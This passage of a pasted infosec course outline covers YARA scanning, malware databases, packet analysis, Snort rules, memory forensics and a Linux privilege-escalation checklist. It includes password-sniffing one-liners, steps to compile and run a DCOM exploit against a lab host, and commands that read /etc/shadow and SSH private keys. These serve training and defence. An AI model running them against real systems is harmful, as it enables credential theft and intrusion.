  1122. wget https://github.com/Yara-Rules/rules/archive/master.zip
  1123.  
  1124. unzip master.zip
  1125.  
  1126. cd ~/Desktop
  1127.  
  1128. yara rules-master/packer.yar malcode/malware.exe
  1129. -----------------------------------------------------------------------
  1130.  
  1131. Places to get more Yara rules:
  1132. ------------------------------
  1133. https://malwareconfig.com/static/yaraRules/
  1134. https://github.com/kevthehermit/YaraRules
  1135. https://github.com/VectraThreatLab/reyara
  1136.  
  1137.  
  1138.  
  1139. Yara rule sorting script:
  1140. -------------------------
  1141. https://github.com/mkayoh/yarasorter
  1142.  
  1143.  
  1144. ---------------------------Type This-----------------------------------
  1145. cd ~/Desktop/rules-master
  1146. for i in $( ls *.yar --hide=master.yar ); do echo include \"$i\";done > master.yar
  1147. cd ~/Desktop/
  1148. yara rules-master/master.yar malcode/malware.exe
  1149. -----------------------------------------------------------------------
  1150.  
  1151.  
  1152.  
  1153.  
  1154.  
  1155.  
  1156.  
  1157.  
  1158.  
  1159. Here is a 2 million sample malware DB created by Derek Morton that you can use to start your DB with:
  1160. http://derekmorton.name/files/malware_12-14-12.sql.bz2
  1161.  
  1162.  
  1163. Malware Repositories:
  1164. http://malshare.com/index.php
  1165. http://www.malwareblacklist.com/
  1166. http://www.virusign.com/
  1167. http://virusshare.com/
  1168. http://www.tekdefense.com/downloads/malware-samples/
  1169.  
  1170.  
  1171.  
  1172.  
  1173. ###############################
  1174. # Creating a Malware Database #
  1175. ###############################
  1176.  
  1177. Creating a malware database (sqlite)
  1178. ---------------------------Type This-----------------------------------
  1179. sudo apt-get install -y python-simplejson python-simplejson-dbg
  1180.  
  1181.  
  1182. wget https://s3.amazonaws.com/infosecaddictsfiles/avsubmit.py
  1183. wget https://s3.amazonaws.com/infosecaddictsfiles/malware-password-is-infected.zip
  1184.  
  1185. unzip malware-password-is-infected.zip
  1186. infected
  1187.  
  1188. python avsubmit.py --init
  1189.  
  1190. python avsubmit.py -f malware.exe -e
  1191. -----------------------------------------------------------------------
  1192.  
  1193.  
  1194.  
  1195.  
  1196. Creating a malware database (mysql)
  1197. -----------------------------------
  1198. - Step 1: Installing MySQL database
  1199. - Run the following command in the terminal:
  1200. ---------------------------Type This-----------------------------------
  1201. sudo apt-get install mysql-server
  1202.  
  1203.  
  1204. - Step 2: Installing Python MySQLdb module
  1205. - Run the following command in the terminal:
  1206. ---------------------------Type This-----------------------------------
  1207. sudo apt-get build-dep python-mysqldb
  1208.  
  1209.  
  1210. sudo apt-get install python-mysqldb
  1211.  
  1212. -----------------------------------------------------------------------
  1213.  
  1214. Step 3: Logging in
  1215. Run the following command in the terminal:
  1216. ---------------------------Type This-----------------------------------
  1217. mysql -u root -p (set a password of 'malware')
  1218.  
  1219. - Then create one database by running following command:
  1220. ---------------------------Type This-----------------------------------
  1221. create database malware;
  1222.  
  1223. exit;
  1224.  
  1225. wget https://raw.githubusercontent.com/dcmorton/MalwareTools/master/mal_to_db.py
  1226.  
  1227. vi mal_to_db.py (fill in database connection information)
  1228.  
  1229. python mal_to_db.py -i
  1230. -----------------------------------------------------------------------
  1231.  
  1232. ------- check it to see if the files table was created ------
  1233.  
  1234. mysql -u root -p
  1235. malware
  1236.  
  1237. show databases;
  1238.  
  1239. use malware;
  1240.  
  1241. show tables;
  1242.  
  1243. describe files;
  1244.  
  1245. exit;
  1246.  
  1247. ---------------------------------
  1248.  
  1249.  
  1250. - Now add the malicious file to the DB
  1251. ---------------------------Type This-----------------------------------
  1252. python mal_to_db.py -f malware.exe -u
  1253. -----------------------------------------------------------------------
  1254.  
  1255.  
  1256. - Now check to see if it is in the DB
  1257. ---------------------------Type This-----------------------------------
  1258. mysql -u root -p
  1259. malware
  1260.  
  1261. mysql> use malware;
  1262.  
  1263. select id,md5,sha1,sha256,time FROM files;
  1264.  
  1265. mysql> quit;
  1266. ------------------------------------------------------------------------
  1267.  
  1268.  
  1269.  
  1270.  
  1271. #################
  1272. # PCAP Analysis #
  1273. #################
  1274. ---------------------------Type This-----------------------------------
  1275. cd ~/Desktop/
  1276.  
  1277. mkdir suspiciouspcap/
  1278.  
  1279. cd suspiciouspcap/
  1280.  
  1281. wget https://s3.amazonaws.com/infosecaddictsfiles/suspicious-time.pcap
  1282.  
  1283. wget https://s3.amazonaws.com/infosecaddictsfiles/chaosreader.pl
  1284.  
  1285.  
  1286. perl chaosreader.pl suspicious-time.pcap
  1287.  
  1288. firefox index.html
  1289.  
  1290. cat index.text | grep -v '"' | grep -oE "([0-9]+\.){3}[0-9]+.*\)"
  1291.  
  1292. cat index.text | grep -v '"' | grep -oE "([0-9]+\.){3}[0-9]+.*\)" | awk '{print $4, $5, $6}' | sort | uniq -c | sort -nr
  1293.  
  1294.  
  1295. for i in session_00[0-9]*.http.html; do srcip=`cat "$i" | grep 'http:\ ' | awk '{print $2}' | cut -d ':' -f1`; dstip=`cat "$i" | grep 'http:\ ' | awk '{print $4}' | cut -d ':' -f1`; host=`cat "$i" | grep 'Host:\ ' | sort -u | sed -e 's/Host:\ //g'`; echo "$srcip --> $dstip = $host"; done | sort -u
  1296. ------------------------------------------------------------------------
  1297.  
  1298.  
  1299.  
  1300. ####################
  1301. # Intro to TCPDump #
  1302. ####################
  1303. ---------------------------Type This-----------------------------------
  1304. sudo apt-get install tcpdump
  1305.  
  1306.  
  1307.  
  1308. Basic sniffing
  1309. --------------
  1310. ---------------------------Type This-----------------------------------
  1311. sudo tcpdump -n
  1312.  
  1313.  
  1314. Now lets increase the display resolution of this packet, or get more details about it. The verbose switch comes in handy
  1315. ---------------------------Type This-----------------------------------
  1316. sudo tcpdump -v -n
  1317.  
  1318.  
  1319.  
  1320. Getting the ethernet header (link layer headers)
  1321. ------------------------------------------------
  1322. In the above examples details of the ethernet header are not printed. Use the -e option to print the ethernet header details as well.
  1323. ---------------------------Type This-----------------------------------
  1324. sudo tcpdump -vv -n -e
  1325. ------------------------------------------------------------------------
  1326.  
  1327. Sniffing a particular interface
  1328. -------------------------------
  1329. In order to sniff a particular network interface we must specify it with the -i switch. First lets get the list of available interfaces using the -D switch.
  1330. ---------------------------Type This-----------------------------------
  1331. sudo tcpdump -D
  1332. ------------------------------------------------------------------------
  1333.  
  1334. Filtering packets using expressions - Selecting protocols
  1335. ---------------------------------------------------------
  1336. ---------------------------Type This-----------------------------------
  1337. $ sudo tcpdump -n tcp
  1338. ------------------------------------------------------------------------
  1339.  
  1340. Particular host or port
  1341. -----------------------
  1342. Expressions can be used to specify source ip, destination ip, and port numbers. The next example picks up all those packets with source address 192.168.1.101
  1343. ---------------------------Type This-----------------------------------
  1344. $ sudo tcpdump -n 'src 192.168.1.101'
  1345. ------------------------------------------------------------------------
  1346.  
  1347. Next example picks up dns request packets, either those packets which originate from local machine and go to port 53 of some other machine.
  1348. ---------------------------Type This-----------------------------------
  1349. $ sudo tcpdump -n 'udp and dst port 53'
  1350. ------------------------------------------------------------------------
  1351.  
  1352. To display the FTP packets coming from 192.168.1.100 to 192.168.1.2
  1353. ---------------------------Type This-----------------------------------
  1354. $ sudo tcpdump 'src 192.168.1.100 and dst 192.168.1.2 and port ftp'
  1355. ------------------------------------------------------------------------
  1356.  
  1357. Search the network traffic using grep
  1358.  
  1359. Grep can be used along with tcpdump to search the network traffic. Here is a very simple example
  1360. ---------------------------Type This-----------------------------------
  1361. $ sudo tcpdump -n -A | grep -e 'POST'
  1362. ------------------------------------------------------------------------
  1363.  
  1364. So what is the idea behind searching packets. Well one good thing can be to sniff passwords.
  1365. Here is quick example to sniff passwords using egrep
  1366.  
  1367. ---------------------------Type This-----------------------------------
  1368. tcpdump port http or port ftp or port smtp or port imap or port pop3 -l -A | egrep -i 'pass=|pwd=|log=|login=|user=|username=|pw=|passw=|passwd=|password=|pass:|user:|username:|password:|login:|pass |user ' --color=auto --line-buffered -B20
  1369. ------------------------------------------------------------------------
  1370.  
  1371.  
  1372.  
  1373. #########
  1374. # NGrep #
  1375. #########
  1376.  
  1377. Install ngrep on Ubuntu
  1378. ---------------------------Type This-----------------------------------
  1379. $ sudo apt-get install ngrep
  1380. ------------------------------------------------------------------------
  1381.  
  1382. Search network traffic for string "User-Agent: "
  1383. ---------------------------Type This-----------------------------------
  1384. $ sudo ngrep -d eth0 "User-Agent: " tcp and port 80
  1385. ------------------------------------------------------------------------
  1386. In the above command :
  1387. a) tcp and port 80 - is the bpf filter (Berkeley Packet Filter) , that sniffs only TCP packet with port number 80
  1388. b) The d option specifies the interface to sniff. eth0 in this case.
  1389. c) "User-Agent: " is the string to search for. All packets that have that string are displayed.
  1390.  
  1391. 2. Search network packets for GET or POST requests :
  1392. ---------------------------Type This-----------------------------------
  1393. $ sudo ngrep -l -q -d eth0 "^GET |^POST " tcp and port 80
  1394. ------------------------------------------------------------------------
  1395. The l option makes the output buffered and the q option is for quiet ( Be quiet; don't output any information other than packet headers and their payloads (if relevant) ).
  1396.  
  1397. 3. ngrep without any options would simply capture all packets.
  1398. ---------------------------Type This-----------------------------------
  1399. $ sudo ngrep
  1400. ------------------------------------------------------------------------
  1401.  
  1402. Reference:
  1403. https://dl.packetstormsecurity.net/papers/general/ngreptut.txt
  1404. ---------------------------Type This-----------------------------------
  1405. $ sudo ngrep -d eth0 -n 3
  1406.  
  1407. $ sudo ngrep -d any port 25
  1408. ------------------------------------------------------------------------
  1409.  
  1410. This will let you monitor all activity crossing source or destination port 25
  1411. (SMTP).
  1412. ---------------------------Type This-----------------------------------
  1413. $ sudo ngrep -wi -d wlan0 'user|pass' port 6667
  1414.  
  1415. $ sudo ngrep -wi -d any 'user|pass' port 21
  1416. ------------------------------------------------------------------------
  1417.  
  1418.  
  1419.  
  1420.  
  1421.  
  1422. #############################
  1423. # PCAP Analysis with tshark #
  1424. #############################
  1425. ---------------------------Type This-----------------------------------
  1426. sudo tshark -i eth0 -r suspicious-time.pcap -qz io,phs
  1427.  
  1428.  
  1429. tshark -r suspicious-time.pcap | grep 'NB.*20\>' | sed -e 's/<[^>]*>//g' | awk '{print $3,$4,$9}' | sort -u
  1430.  
  1431.  
  1432. tshark -r suspicious-time.pcap | grep 'NB.*1e\>' | sed -e 's/<[^>]*>//g' | awk '{print $3,$4,$9}' | sort -u
  1433.  
  1434.  
  1435. tshark -r suspicious-time.pcap arp | grep has | awk '{print $3," -> ",$9}' | tr -d '?'
  1436.  
  1437.  
  1438. tshark -r suspicious-time.pcap -Tfields -e "eth.src" | sort | uniq
  1439.  
  1440.  
  1441. tshark -r suspicious-time.pcap -Y "browser.command==1" -Tfields -e "ip.src" -e "browser.server" | uniq
  1442.  
  1443. tshark -r suspicious-time.pcap -Tfields -e "eth.src" | sort |uniq
  1444.  
  1445. tshark -r suspicious-time.pcap -qz ip_hosts,tree
  1446.  
  1447. tshark -r suspicious-time.pcap -Y "http.request" -Tfields -e "ip.src" -e "http.user_agent" | uniq
  1448.  
  1449. tshark -r suspicious-time.pcap -Y "dns" -T fields -e "ip.src" -e "dns.flags.response" -e "dns.qry.name"
  1450.  
  1451.  
  1452. whois rapidshare.com.eyu32.ru
  1453.  
  1454. whois sploitme.com.cn
  1455.  
  1456.  
  1457. tshark -r suspicious-time.pcap -Y http.request -T fields -e ip.src -e ip.dst -e http.host -e http.request.uri | awk '{print $1," -> ",$2, "\t: ","http://"$3$4}'
  1458.  
  1459. tshark -r suspicious-time.pcap -Y http.request -T fields -e ip.src -e ip.dst -e http.host -e http.request.uri | awk '{print $1," -> ",$2, "\t: ","http://"$3$4}' | grep -v -e '\/image' -e '.css' -e '.ico' -e google -e 'honeynet.org'
  1460.  
  1461. tshark -r suspicious-time.pcap -qz http_req,tree
  1462.  
  1463. tshark -r suspicious-time.pcap -Y "data-text-lines contains \"<script\"" -T fields -e frame.number -e ip.src -e ip.dst
  1464.  
  1465. tshark -r suspicious-time.pcap -Y http.request -T fields -e ip.src -e ip.dst -e http.host -e http.request.uri | awk '{print $1," -> ",$2, "\t: ","http://"$3$4}' | grep -v -e '\/image' -e '.css' -e '.ico' | grep 10.0.3.15 | sed -e 's/\?[^cse].*/\?\.\.\./g'
  1466.  
  1467.  
  1468.  
  1469. ######################################
  1470. # PCAP Analysis with forensicPCAP.py #
  1471. ######################################
  1472. ---------------------------Type This-----------------------------------
  1473. cd ~/Desktop/suspiciouspcap/
  1474.  
  1475. wget https://raw.githubusercontent.com/madpowah/ForensicPCAP/master/forensicPCAP.py
  1476.  
  1477. sudo pip install cmd2==0.7.9
  1478.  
  1479.  
  1480. python forensicPCAP.py suspicious-time.pcap
  1481. ------------------------------------------------------------------------
  1482.  
  1483.  
  1484. ---------------------------Type This-----------------------------------
  1485. ForPCAP >>> help
  1486. ------------------------------------------------------------------------
  1487.  
  1488. Prints stats about PCAP
  1489. ---------------------------Type This-----------------------------------
  1490. ForPCAP >>> stat
  1491. ------------------------------------------------------------------------
  1492.  
  1493. Prints all DNS requests from the PCAP file. The id before the DNS is the packet's id which can be use with the "show" command.
  1494. ---------------------------Type This-----------------------------------
  1495. ForPCAP >>> dns
  1496.  
  1497. ForPCAP >>> show
  1498. ------------------------------------------------------------------------
  1499.  
  1500. Prints all destination ports from the PCAP file. The id before the DNS is the packet's id which can be use with the "show" command.
  1501. ---------------------------Type This-----------------------------------
  1502. ForPCAP >>> dstports
  1503.  
  1504. ForPCAP >>> show
  1505. ---------------------------Type This-----------------------------------
  1506.  
  1507. Prints the number of ip source and store them.
  1508. ---------------------------Type This-----------------------------------
  1509. ForPCAP >>> ipsrc
  1510.  
  1511. ForPCAP >>> show
  1512. ------------------------------------------------------------------------
  1513.  
  1514. Prints the number of web's requests and store them
  1515. ForPCAP >>> web
  1516.  
  1517. ForPCAP >>> show
  1518. ------------------------------------------------------------------------
  1519.  
  1520.  
  1521. Prints the number of mail's requests and store them
  1522. ---------------------------Type This-----------------------------------
  1523. ForPCAP >>> mail
  1524.  
  1525. ForPCAP >>> show
  1526. ------------------------------------------------------------------------
  1527.  
  1528.  
  1529.  
  1530.  
  1531.  
  1532. #############################
  1533. # Understanding Snort rules #
  1534. #############################
  1535. Field 1: Action - Snort can process events in 1 of 3 ways (alert, log, drop)
  1536.  
  1537. Field 2: Protocol - Snort understands a few types of traffic (tcp, udp, icmp)
  1538.  
  1539. Field 3: Source IP (can be a variable like $External_Net, or an IP, or a range)
  1540.  
  1541. Field 4: Source Port (can be a variable like $WebServer_Ports, or a port number, or a range of ports)
  1542.  
  1543. Field 5: Traffic Direction (->)
  1544.  
  1545. Field 6: Destination IP (can be a variable like $External_Net, or an IP, or a range)
  1546.  
  1547. Field 7: Destination Port (can be a variable like $WebServer_Ports, or a port number, or a range of ports)
  1548.  
  1549. Field 8: MSG - what is actually displayed on the analysts machine
  1550.  
  1551.  
  1552. Let's look at 2 simple rules
  1553. ----------------------------------------------------------------------------------
  1554. alert tcp $EXTERNAL_NET any -> $HOME_NET 135 (msg:”NETBIOS DCERPC ISystemActivator \
  1555. bind attempt”; flow:to_server,established; content:”|05|”; distance:0; within:1; \
  1556. content:”|0b|”; distance:1; within:1; byte_test:1,&,1,0,relative; content:”|A0 01 00 \
  1557. 00 00 00 00 00 C0 00 00 00 00 00 00 46|”; distance:29; within:16; \
  1558. reference:cve,CAN-2003-0352; classtype:attempted-admin; sid:2192; rev:1;)
  1559.  
  1560. alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:”NETBIOS SMB DCERPC ISystemActivator bind \
  1561. attempt”; flow:to_server,established; content:”|FF|SMB|25|”; nocase; offset:4; \
  1562. depth:5; content:”|26 00|”; distance:56; within:2; content:”|5c \
  1563. 00|P|00|I|00|P|00|E|00 5c 00|”; nocase; distance:5; within:12; content:”|05|”; \
  1564. distance:0; within:1; content:”|0b|”; distance:1; within:1; \
  1565. byte_test:1,&,1,0,relative; content:”|A0 01 00 00 00 00 00 00 C0 00 00 00 00 00 00 \
  1566. 46|”; distance:29; within:16; reference:cve,CAN-2003-0352; classtype:attempted-admin; \
  1567. sid:2193; rev:1;)
  1568. ----------------------------------------------------------------------------------
  1569.  
  1570.  
  1571.  
  1572. From your Linux machine ping your Windows machine
  1573. ---------------------------Type This-----------------------------------
  1574. ping 192.168.11.1
  1575. -----------------------------------------------------------------------
  1576.  
  1577.  
  1578. Start wireshark and let's create some simple filters:
  1579.  
  1580. Filter 1:
  1581. ---------------------------Type This-----------------------------------
  1582. ip.addr==192.168.11.1
  1583. -----------------------------------------------------------------------
  1584.  
  1585. Filter 2:
  1586. ---------------------------Type This-----------------------------------
  1587. ip.addr==192.168.11.1 && icmp
  1588. -----------------------------------------------------------------------
  1589.  
  1590.  
  1591. Filter 3:
  1592. ---------------------------Type This-----------------------------------
  1593. ip.addr==192.168.11.1 && !(tcp.port==22)
  1594. -----------------------------------------------------------------------
  1595. Now stop your capture and restart it (make sure you keep the filter)
  1596.  
  1597.  
  1598.  
  1599.  
  1600. Back to your Linux machine:
  1601. [ CTRL-C ] - to stop your ping
  1602. ---------------------------Type This-----------------------------------
  1603. wget http://downloads.securityfocus.com/vulnerabilities/exploits/oc192-dcom.c
  1604.  
  1605.  
  1606. gcc -o exploit oc192-dcom.c
  1607.  
  1608. ./exploit
  1609.  
  1610.  
  1611. ./exploit -d 192.168.11.1 -t 0
  1612. -----------------------------------------------------------------------
  1613.  
  1614.  
  1615.  
  1616. Now go back to WireShark and stop the capture.
  1617.  
  1618.  
  1619.  
  1620.  
  1621. ###################
  1622. # Memory Analysis #
  1623. ###################
  1624. ---------------------------Type This-----------------------------------
  1625. cd ~/Desktop/
  1626.  
  1627. sudo apt-get install -y foremost tcpxtract
  1628.  
  1629. wget https://s3.amazonaws.com/infosecaddictsfiles/hn_forensics.vmem
  1630.  
  1631. git clone https://github.com/volatilityfoundation/volatility.git
  1632.  
  1633. cd volatility
  1634. sudo pip install distorm3
  1635. sudo python setup.py install
  1636. python vol.py -h
  1637. python vol.py pslist -f ~/Desktop/hn_forensics.vmem
  1638. python vol.py connscan -f ~/Desktop/hn_forensics.vmem
  1639. mkdir dump/
  1640. mkdir -p output/pdf/
  1641. python vol.py -f ~/Desktop/hn_forensics.vmem memdmp -p 888 -D dump/
  1642. python vol.py -f ~/Desktop/hn_forensics.vmem memdmp -p 1752 -D dump/
  1643. ***Takes a few min***
  1644. strings 1752.dmp | grep "^http://" | sort | uniq
  1645. strings 1752.dmp | grep "Ahttps://" | uniq -u
  1646. cd ..
  1647. foremost -i ~/Desktop/volatility/dump/1752.dmp -t pdf -o output/pdf/
  1648. cd ~/Desktop/volatility/output/pdf/
  1649. cat audit.txt
  1650. cd pdf
  1651. ls
  1652. grep -i javascript *.pdf
  1653.  
  1654.  
  1655.  
  1656. cd ~/Desktop/volatility/output/pdf/
  1657. wget http://didierstevens.com/files/software/pdf-parser_V0_6_4.zip
  1658. unzip pdf-parser_V0_6_4.zip
  1659. python pdf-parser.py -s javascript --raw pdf/00601560.pdf
  1660. python pdf-parser.py --object 11 00600328.pdf
  1661. python pdf-parser.py --object 1054 --raw --filter 00601560.pdf > malicious.js
  1662.  
  1663. cat malicious.js
  1664. -----------------------------------------------------------------------
  1665.  
  1666.  
  1667.  
  1668.  
  1669. *****Sorry - no time to cover javascript de-obfuscation today*****
  1670.  
  1671.  
  1672.  
  1673.  
  1674. ---------------------------Type This-----------------------------------
  1675. cd ~/Desktop/volatility
  1676. mkdir files2/
  1677. python vol.py -f ~/Desktop/hn_forensics.vmem dumpfiles -D files2/
  1678. python vol.py hivescan -f ~/Desktop/hn_forensics.vmem
  1679. python vol.py printkey -o 0xe1526748 -f ~/Desktop/hn_forensics.vmem Microsoft "Windows NT" CurrentVersion Winlogon
  1680. -----------------------------------------------------------------------
  1681.  
  1682.  
  1683. ######################
  1684. ----------- ############### # Intro to Reversing # ############### -----------
  1685. ######################
  1686. Lab walk-through documents are in the zip file along with the executables that need to be reversed:
  1687. https://s3.amazonaws.com/infosecaddictsfiles/Lena151.zip
  1688.  
  1689.  
  1690.  
  1691.  
  1692.  
  1693. ##############################
  1694. # Linux For InfoSec Homework #
  1695. ##############################
  1696. In order to receive your certificate of attendance you must complete the all of the quizzes on the http://linuxsurvival.com/linux-tutorial-introduction/ website.
  1697.  
  1698.  
  1699. Submit the results via email in an MS Word document with (naming convention example: YourFirstName-YourLastName-Linux-For-InfoSec-Homework.docx)
  1700.  
  1701.  
  1702.  
  1703.  
  1704. ##############################
  1705. # Linux For InfoSe Challenge #
  1706. ##############################
  1707.  
  1708. In order to receive your certificate of proficiency you must complete all of the tasks covered in the Linux For InfoSec pastebin (http://pastebin.com/eduSfPy3).
  1709.  
  1710. Submit the results via email in an MS Word document with (naming convention example: YourFirstName-YourLastName-Linux-For-InfoSec-Challenge.docx)
  1711.  
  1712.  
  1713.  
  1714.  
  1715. IMPORTANT NOTE:
  1716. Your homework/challenge must be submitted via email to both (joe-at-strategicsec-.-com and ivana-at-strategicsec-.-com) by midnight EST.
  1717.  
  1718.  
  1719. #########################################################################
  1720. # What kind of Linux am I on and how can I find out? #
  1721. # Great reference: #
  1722. # https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/ #
  1723. #########################################################################
  1724. - What’s the distribution type? What version?
  1725. -------------------------------------------
  1726. cat /etc/issue
  1727. cat /etc/*-release
  1728. cat /etc/lsb-release # Debian based
  1729. cat /etc/redhat-release # Redhat based
  1730.  
  1731.  
  1732.  
  1733. - What’s the kernel version? Is it 64-bit?
  1734. -------------------------------------------
  1735. cat /proc/version
  1736. uname -a
  1737. uname -mrs
  1738. rpm -q kernel
  1739. dmesg | grep Linux
  1740. ls /boot | grep vmlinuz-
  1741.  
  1742.  
  1743.  
  1744. - What can be learnt from the environmental variables?
  1745. ----------------------------------------------------
  1746. cat /etc/profile
  1747. cat /etc/bashrc
  1748. cat ~/.bash_profile
  1749. cat ~/.bashrc
  1750. cat ~/.bash_logout
  1751. env
  1752. set
  1753.  
  1754.  
  1755. - What services are running? Which service has which user privilege?
  1756. ------------------------------------------------------------------
  1757. ps aux
  1758. ps -ef
  1759. top
  1760. cat /etc/services
  1761.  
  1762.  
  1763. - Which service(s) are been running by root? Of these services, which are vulnerable - it’s worth a double check!
  1764. ---------------------------------------------------------------------------------------------------------------
  1765. ps aux | grep root
  1766. ps -ef | grep root
  1767.  
  1768.  
  1769.  
  1770. - What applications are installed? What version are they? Are they currently running?
  1771. ------------------------------------------------------------------------------------
  1772. ls -alh /usr/bin/
  1773. ls -alh /sbin/
  1774. dpkg -l
  1775. rpm -qa
  1776. ls -alh /var/cache/apt/archivesO
  1777. ls -alh /var/cache/yum/
  1778.  
  1779.  
  1780. - Any of the service(s) settings misconfigured? Are any (vulnerable) plugins attached?
  1781. ------------------------------------------------------------------------------------
  1782. cat /etc/syslog.conf
  1783. cat /etc/chttp.conf
  1784. cat /etc/lighttpd.conf
  1785. cat /etc/cups/cupsd.conf
  1786. cat /etc/inetd.conf
  1787. cat /etc/apache2/apache2.conf
  1788. cat /etc/my.conf
  1789. cat /etc/httpd/conf/httpd.conf
  1790. cat /opt/lampp/etc/httpd.conf
  1791. ls -aRl /etc/ | awk '$1 ~ /^.*r.*/'
  1792.  
  1793.  
  1794.  
  1795. - What jobs are scheduled?
  1796. ------------------------
  1797. crontab -l
  1798. ls -alh /var/spool/cron
  1799. ls -al /etc/ | grep cron
  1800. ls -al /etc/cron*
  1801. cat /etc/cron*
  1802. cat /etc/at.allow
  1803. cat /etc/at.deny
  1804. cat /etc/cron.allow
  1805. cat /etc/cron.deny
  1806. cat /etc/crontab
  1807. cat /etc/anacrontab
  1808. cat /var/spool/cron/crontabs/root
  1809.  
  1810.  
  1811. - Any plain text usernames and/or passwords?
  1812. ------------------------------------------
  1813. grep -i user [filename]
  1814. grep -i pass [filename]
  1815. grep -C 5 "password" [filename]
  1816. find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password" # Search for Joomla passwords
  1817.  
  1818.  
  1819. - What NIC(s) does the system have? Is it connected to another network?
  1820. ---------------------------------------------------------------------
  1821. /sbin/ifconfig -a
  1822. cat /etc/network/interfaces
  1823. cat /etc/sysconfig/network
  1824.  
  1825.  
  1826. - What are the network configuration settings? What can you find out about this network? DHCP server? DNS server? Gateway?
  1827. ------------------------------------------------------------------------------------------------------------------------
  1828. cat /etc/resolv.conf
  1829. cat /etc/sysconfig/network
  1830. cat /etc/networks
  1831. iptables -L
  1832. hostname
  1833. dnsdomainname
  1834.  
  1835. - What other users & hosts are communicating with the system?
  1836. -----------------------------------------------------------
  1837. lsof -i
  1838. lsof -i :80
  1839. grep 80 /etc/services
  1840. netstat -antup
  1841. netstat -antpx
  1842. netstat -tulpn
  1843. chkconfig --list
  1844. chkconfig --list | grep 3:on
  1845. last
  1846. w
  1847.  
  1848.  
  1849.  
  1850. - Whats cached? IP and/or MAC addresses
  1851. -------------------------------------
  1852. arp -e
  1853. route
  1854. /sbin/route -nee
  1855.  
  1856.  
  1857. - Who are you? Who is logged in? Who has been logged in? Who else is there? Who can do what?
  1858. ------------------------------------------------------------------------------------------
  1859. id
  1860. who
  1861. w
  1862. last
  1863. cat /etc/passwd | cut -d: -f1 # List of users
  1864. grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}' # List of super users
  1865. awk -F: '($3 == "0") {print}' /etc/passwd # List of super users
  1866. cat /etc/sudoers
  1867. sudo -l
  1868.  
  1869.  
  1870.  
  1871. - What sensitive files can be found?
  1872. ----------------------------------
  1873. cat /etc/passwd
  1874. cat /etc/group
  1875. cat /etc/shadow
  1876. ls -alh /var/mail/
  1877.  
  1878.  
  1879.  
  1880. - Anything “interesting” in the home directorie(s)? If it’s possible to access
  1881. ----------------------------------------------------------------------------
  1882. ls -ahlR /root/
  1883. ls -ahlR /home/
  1884.  
  1885.  
  1886. - Are there any passwords in; scripts, databases, configuration files or log files? Default paths and locations for passwords
  1887. ---------------------------------------------------------------------------------------------------------------------------
  1888. cat /var/apache2/config.inc
  1889. cat /var/lib/mysql/mysql/user.MYD
  1890. cat /root/anaconda-ks.cfg
  1891.  
  1892.  
  1893. - What has the user being doing? Is there any password in plain text? What have they been edting?
  1894. -----------------------------------------------------------------------------------------------
  1895. cat ~/.bash_history
  1896. cat ~/.nano_history
  1897. cat ~/.atftp_history
  1898. cat ~/.mysql_history
  1899. cat ~/.php_history
  1900.  
  1901.  
  1902.  
  1903. - What user information can be found?
  1904. -----------------------------------
  1905. cat ~/.bashrc
  1906. cat ~/.profile
  1907. cat /var/mail/root
  1908. cat /var/spool/mail/root
  1909.  
  1910.  
  1911. - Can private-key information be found?
  1912. -------------------------------------
  1913. cat ~/.ssh/authorized_keys
  1914. cat ~/.ssh/identity.pub
  1915. cat ~/.ssh/identity
  1916. cat ~/.ssh/id_rsa.pub
  1917. cat ~/.ssh/id_rsa
  1918. cat ~/.ssh/id_dsa.pub
  1919. cat ~/.ssh/id_dsa
  1920. cat /etc/ssh/ssh_config
  1921. cat /etc/ssh/sshd_config
  1922. cat /etc/ssh/ssh_host_dsa_key.pub
  1923. cat /etc/ssh/ssh_host_dsa_key
  1924. cat /etc/ssh/ssh_host_rsa_key.pub
  1925. cat /etc/ssh/ssh_host_rsa_key
  1926. cat /etc/ssh/ssh_host_key.pub
  1927. cat /etc/ssh/ssh_host_key
  1928.  
  1929.  
  1930. - Any settings/files (hidden) on website? Any settings file with database information?
  1931. ------------------------------------------------------------------------------------
  1932. ls -alhR /var/www/
  1933. ls -alhR /srv/www/htdocs/
  1934. ls -alhR /usr/local/www/apache22/data/
  1935. ls -alhR /opt/lampp/htdocs/
  1936. ls -alhR /var/www/html/
  1937.  
  1938.  
  1939. - Is there anything in the log file(s) (Could help with “Local File Includes”!)
  1940. -----------------------------------------------------------------------------
  1941. cat /etc/httpd/logs/access_log
  1942. cat /etc/httpd/logs/access.log
  1943. cat /etc/httpd/logs/error_log
  1944. cat /etc/httpd/logs/error.log
  1945. cat /var/log/apache2/access_log
  1946. cat /var/log/apache2/access.log
  1947. cat /var/log/apache2/error_log
  1948. cat /var/log/apache2/error.log
  1949. cat /var/log/apache/access_log
  1950. cat /var/log/apache/access.log
  1951. cat /var/log/auth.log
  1952. cat /var/log/chttp.log
  1953. cat /var/log/cups/error_log
  1954. cat /var/log/dpkg.log
  1955. cat /var/log/faillog
  1956. cat /var/log/httpd/access_log
  1957. cat /var/log/httpd/access.log
  1958. cat /var/log/httpd/error_log
  1959. cat /var/log/httpd/error.log
  1960. cat /var/log/lastlog
  1961. cat /var/log/lighttpd/access.log
  1962. cat /var/log/lighttpd/error.log
  1963. cat /var/log/lighttpd/lighttpd.access.log
  1964. cat /var/log/lighttpd/lighttpd.error.log
  1965. cat /var/log/messages
  1966. cat /var/log/secure
  1967. cat /var/log/syslog
  1968. cat /var/log/wtmp
  1969. cat /var/log/xferlog
  1970. cat /var/log/yum.log
  1971. cat /var/run/utmp
  1972. cat /var/webmin/miniserv.log
  1973. cat /var/www/logs/access_log
  1974. cat /var/www/logs/access.log
  1975. ls -alh /var/lib/dhcp3/
  1976. ls -alh /var/log/postgresql/
  1977. ls -alh /var/log/proftpd/
  1978. ls -alh /var/log/samba/
  1979.  
  1980. - Note: auth.log, boot, btmp, daemon.log, debug, dmesg, kern.log, mail.info, mail.log, mail.warn, messages, syslog, udev, wtmp
  1981.  
  1982.  
  1983.  
  1984.  
  1985.  
  1986. ########################################################################################################################################
  1987.  
  1988.  
  1989.  
  1990.  
  1991.  
  1992. ################################################
  1993. # Day 2: Preparing for the Comptia Linux+ Exam #
  1994. ################################################
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement